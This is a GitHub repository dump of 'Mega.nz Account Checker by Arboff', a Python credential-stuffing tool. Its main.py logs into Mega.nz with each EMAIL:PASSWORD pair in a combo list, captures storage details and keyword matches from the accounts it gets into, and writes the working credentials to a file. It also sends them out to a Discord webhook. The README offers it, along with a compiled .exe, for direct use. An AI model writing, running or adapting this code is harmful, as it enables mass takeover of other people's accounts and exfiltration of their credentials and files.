├── .idea ├── .gitignore ├── .name ├── MegaCheckerByArboff.iml ├── inspectionProfiles │ └── profiles_settings.xml ├── misc.xml ├── modules.xml └── vcs.xml ├── Icon.ico ├── Mega.nz Checker by Arboff.exe ├── README.MD ├── __pycache__ └── func.cpython-310.pyc ├── combo.txt ├── func.py └── main.py /.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /shelf/ 3 | /workspace.xml 4 | -------------------------------------------------------------------------------- /.idea/.name: -------------------------------------------------------------------------------- 1 | main.py -------------------------------------------------------------------------------- /.idea/MegaCheckerByArboff.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | -------------------------------------------------------------------------------- /.idea/inspectionProfiles/profiles_settings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 6 | -------------------------------------------------------------------------------- /.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /Icon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Arboff/Mega-Checker-by-Arboff/4c9564646fe8a474971dbe88b9c9d8cc55719938/Icon.ico -------------------------------------------------------------------------------- /Mega.nz Checker by Arboff.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Arboff/Mega-Checker-by-Arboff/4c9564646fe8a474971dbe88b9c9d8cc55719938/Mega.nz Checker by Arboff.exe -------------------------------------------------------------------------------- /README.MD: -------------------------------------------------------------------------------- 1 | [![Hits](https://hits.seeyoufarm.com/api/count/incr/badge.svg?url=https%3A%2F%2Fgithub.com%2FArboff%2FMega-Checker-by-Arboff&count_bg=%2379C83D&title_bg=%23555555&icon=circle.svg&icon_color=%23E7E7E7&title=Visits&edge_flat=false)](https://hits.seeyoufarm.com) 2 | 3 | # Mega.nz Account Checker by Arboff. 4 | ![alt text](https://i.imgur.com/hX1cORt.png) 5 | ![alt text](https://i.imgur.com/4jA4HH3.png) 6 | 7 | 8 | Proxyless Mega.nz account checker using the Mega.py library. All hits get storage capture and saved to a seperate txt file. Also, supports discord webhook integration. 9 | 10 | ## Installation 11 | 12 | Use the package manager [pip](https://pip.pypa.io/en/stable/) to install required modules. 13 | ## Installation on Linux 14 | ```bash 15 | pip install colorama 16 | pip install discord-webhook 17 | pip install mega.py 18 | ``` 19 | ## Installation on Windows 20 | Run Mega.nz Checker by Arboff. 21 | 22 | ## Usage 23 | 24 | Program is self explanatory. Follow on-screen instructions. 25 | 26 | ## Contributing 27 | 28 | Pull requests are welcome. For major changes, please open an issue first 29 | to discuss what you would like to change. 30 | 31 | Please make sure to update tests as appropriate. 32 | 33 | ## License 34 | 35 | [MIT](https://choosealicense.com/licenses/mit/) 36 | 37 | 38 | # PATCH NOTES 39 | 40 | ## 1.2 41 | 42 | ```bash 43 | Removed bug where the program would suddenly crash at a certain account. Issue was caused by not adding "UTF-8" coding when reading the files. 44 | 45 | ADDED: 46 | 47 | Added CURRENT/TOTAL counter on top 48 | Added a counter for Hits / Fails / Customs on the top of the status bar. 49 | Added functionality to look for keyword in the account upon HIT 50 | Added String Position in Hit message 51 | Added TRUE/FALSE keyword flag on hits 52 | 53 | Visual Improvements. 54 | Recompiled .exe 55 | ``` 56 | 57 | 58 | ## 1.3 59 | 60 | ```bash 61 | Fixed a bug where it will count +2 on each hit 62 | 63 | Added More information on Hits 64 | 65 | Added more info on hits string in file 66 | 67 | Added a finish discord webhook message 68 | 69 | Added more information on nav bar 70 | 71 | Recompiled .exe 72 | 73 | Upload Icon 74 | ``` 75 | -------------------------------------------------------------------------------- /__pycache__/func.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Arboff/Mega-Checker-by-Arboff/4c9564646fe8a474971dbe88b9c9d8cc55719938/__pycache__/func.cpython-310.pyc -------------------------------------------------------------------------------- /combo.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Arboff/Mega-Checker-by-Arboff/4c9564646fe8a474971dbe88b9c9d8cc55719938/combo.txt -------------------------------------------------------------------------------- /func.py: -------------------------------------------------------------------------------- 1 | import os 2 | import colorama 3 | from colorama import init, Fore, Back, Style 4 | colorama.init(autoreset = True) 5 | 6 | 7 | def create_txt(): 8 | if not os.path.isfile("combo.txt"): 9 | with open("combo.txt", "w") as f: 10 | f.close() 11 | 12 | 13 | def hit(): 14 | string = (Fore.GREEN + "[ HIT ] ") 15 | return string 16 | 17 | def fail(): 18 | string = (Fore.RED + "[ FAIL ] ") 19 | return string 20 | 21 | def custom(): 22 | string = (Fore.YELLOW + "[ CUSTOM ] ") 23 | return string 24 | 25 | def error(): 26 | string = (Fore.MAGENTA + "[ ERROR ] ") 27 | return string 28 | 29 | 30 | def logo(): 31 | print(f""" 32 | -/~/ / ~\ :; \ _ > /(~\/ 33 | || | | /\ ;\ |l _____ |; ( \/ > > 34 | _\\)\)\)/ ;;; `8o __-~ ~\ d| \ // 35 | ///(())(__/~;;\ "88p;. -. _\_;.oP (_._/ / 36 | (((__ __ \\ \ `>,% (\ (\./)8" ;:' i 37 | )))--`.'-- (( ;,8 \ ,;%%%: ./V^^^V' ;. ;. 38 | ((\ | /)) .,88 `: ..,,;;;;,-::::::'_::\ ||\ ;[8: ; 39 | )| ~-~ |(|(888; ..``'::::8888oooooo. :\`^^^/,,~--._ |88:: | 40 | |\ -===- /| \8;; ``:. oo.8888888888:`((( o.ooo8888Oo;:;:' | 41 | |_~-___-~_| `-\. ` `o`88888888b` )) 888b88888P""' ; 42 | ; ~~~~;~~ "`--_`. b`888888888;(.,"888b888" ..::;-' 43 | ; ; ~"-.... b`8888888:::::.`8888. .:;;;'' 44 | ; ; `:::. `:::OOO:::::::.`OO' ;;;'' 45 | : ; `. "``::::::'' .' 46 | ; `. \_ / 47 | ; ; +: ~~-- `:' -'; - Mega.nz Account Checker. 48 | `: : .::/ - Full Capture. 49 | ; ;;+_ :::. :..;;; - Coded by Arboff. 50 | ;;;;;;,;;;;;;;;,; - Special Thanks to all the folks at the Circle. 51 | 52 | 53 | 54 | 55 | """) -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | from mega import Mega 2 | from func import create_txt, fail, hit, logo, custom, error 3 | from multiprocessing.pool import ThreadPool as Pool 4 | import os 5 | from discord_webhook import DiscordWebhook 6 | from datetime import datetime 7 | 8 | os.system("title Mega.nz Checker by Arboff") 9 | logo() 10 | 11 | global hits 12 | 13 | create_txt() 14 | 15 | print("\n=========================================================================================================================\n") 16 | 17 | input("Place your combo inside combo.txt in format EMAIL:PASSWORD and press enter.") 18 | with open("combo.txt", "r", encoding="utf-8") as g: 19 | lines = g.readlines() 20 | size = len(lines) 21 | g.close() 22 | print(f"\n{size} lines detected.\n") 23 | pool_size = 10 24 | print("\n=========================================================================================================================\n") 25 | 26 | try: 27 | pool_size = int(input("Enter how many threads you want to use. Default count is 10. More threads can lead to errors and skipping hits: ")) 28 | except Exception as e: 29 | print("\nInput not valid. Setting default count of threads to 10.") 30 | pool_size = 10 31 | 32 | 33 | 34 | print(f"\nThread Count: [{pool_size}]") 35 | 36 | print("\n=========================================================================================================================\n") 37 | 38 | name = input("\nDefine filename: ") 39 | 40 | filename = f"hits_{name}.txt" 41 | print(f"\nHits will be saved to {filename}") 42 | 43 | print("\n=========================================================================================================================\n") 44 | 45 | search_string = input("\nDefine a word to look for inside the Account. Leave blank if you dont need word lookup: ") 46 | 47 | if search_string == "": 48 | print("\nNo search String selected. Value will return FALSE\n") 49 | else: 50 | print(f"\nKeyword selected: [ {search_string} ]. If found, value on hit will return TRUE.\n") 51 | 52 | print("\n=========================================================================================================================\n") 53 | 54 | 55 | 56 | webhook_Custom = input("If you want hits to be sent to your Discord, insert webhook and press enter. Otherwise, leave blank: ") 57 | 58 | if webhook_Custom == "": 59 | print("\nNo Webhook Attached\n") 60 | else: 61 | print("\nWebhook Attached. Hits will be sent to webhook aswell. You will get a test message right now.\n") 62 | webhook = DiscordWebhook( 63 | url=webhook_Custom, 64 | content=f"Webhook Successfully attached | Mega.nz checker by https://github.com/arboff | Combo Lines: {size} | Export name: {filename} | Keyword: {search_string} | Waiting for start.") 65 | response = webhook.execute() 66 | 67 | print("\n=========================================================================================================================\n") 68 | 69 | input("Press Enter to begin checking. Tool coded by https://github.com/Arboff.\n\n") 70 | 71 | 72 | 73 | 74 | checked = 0 75 | hits = 0 76 | customs = 0 77 | fails = 0 78 | 79 | 80 | 81 | def check(username, password): 82 | global checked 83 | global hits 84 | global customs 85 | global fails 86 | tab_name = f"title Mega.nz Checker by Arboff // Checked: [{checked} / {size}] // Hit: [{hits}] // Custom: [{customs}] // Fail: [{fails} // Keyword: [ {search_string} ] // Export Name: [ {filename} ]" 87 | mega = Mega() 88 | os.system(tab_name) 89 | try: 90 | m = mega.login(username, password) 91 | space = m.get_storage_space(giga=True) 92 | used = space["used"] 93 | used = round(used,2) 94 | total = space["total"] 95 | files = str(m.get_files()) 96 | found = False 97 | if str(search_string) in files and str(search_string) != "": 98 | found = True 99 | else: 100 | found = False 101 | hit_str = (f"{username}:{password} | Used Space: {used}GB | Total Space: {total}GB | Filename: {name} | Bots Count: {pool_size} | Combo Count: {size} | Local Time: {datetime.now()} | Keyword Match: {str(found).upper()} | Keyword: {search_string} | String Position in Array: [ {checked + 1} / {size} ]") 102 | print(f"{hit()} {username}:{password} | Used Space: {used}GB | Total Space: {total}GB | Keyword: {search_string} | Keyword Match: {str(found).upper()} | String Position: [ {checked + 1} / {size} ]") 103 | hits += 1 104 | try: 105 | webhook = DiscordWebhook( 106 | url=webhook_Custom, 107 | content=hit_str) 108 | response = webhook.execute() 109 | except: 110 | print(f"{error()} Webhook Error / Not Added.") 111 | 112 | with open(filename, "a") as e: 113 | e.writelines(f"{username}:{password} | Used Space: {used}GB | Total Space: {total}GB | Filename: {name} | Bots Count: {pool_size} | Combo Count: {size} | Local Time: {datetime.now()} | Keyword Match: {str(found).upper()} | Keyword: {search_string} | String Position in Array: [ {checked + 1} / {size} ]\n") 114 | e.close() 115 | 116 | except Exception as e: 117 | if "User blocked" in str(e): 118 | print(f"{custom()} {username}:{password} is blocked.") 119 | customs += 1 120 | else: 121 | print(f"{fail()} {username}:{password} is not valid.") 122 | fails += 1 123 | checked += 1 124 | pool = Pool(pool_size) 125 | 126 | with open("combo.txt", "r", encoding="utf-8") as f: 127 | lines = f.readlines() 128 | 129 | 130 | 131 | for item in lines: 132 | try: 133 | username,password = item.split(":") 134 | password = password.strip() 135 | username = username.strip() 136 | pool.apply_async(check(username,password), (username,password)) 137 | except Exception as e: 138 | 1+1 139 | 140 | pool.close() 141 | pool.join() 142 | 143 | 144 | webhook = DiscordWebhook( 145 | url=webhook_Custom, 146 | content=f"Checker Finished | Total Checked: {checked} | Combo Lines: {size} | Export name: {name} | Hits: {hits} | Custom: {customs} | Fails: {fails} | Keyword: [ {search_string} ]" ) 147 | response = webhook.execute() 148 | 149 | input(f"\n\n\nChecker finished. Hits exported to {filename}. Webhook sent with results. Press enter to exit.") --------------------------------------------------------------------------------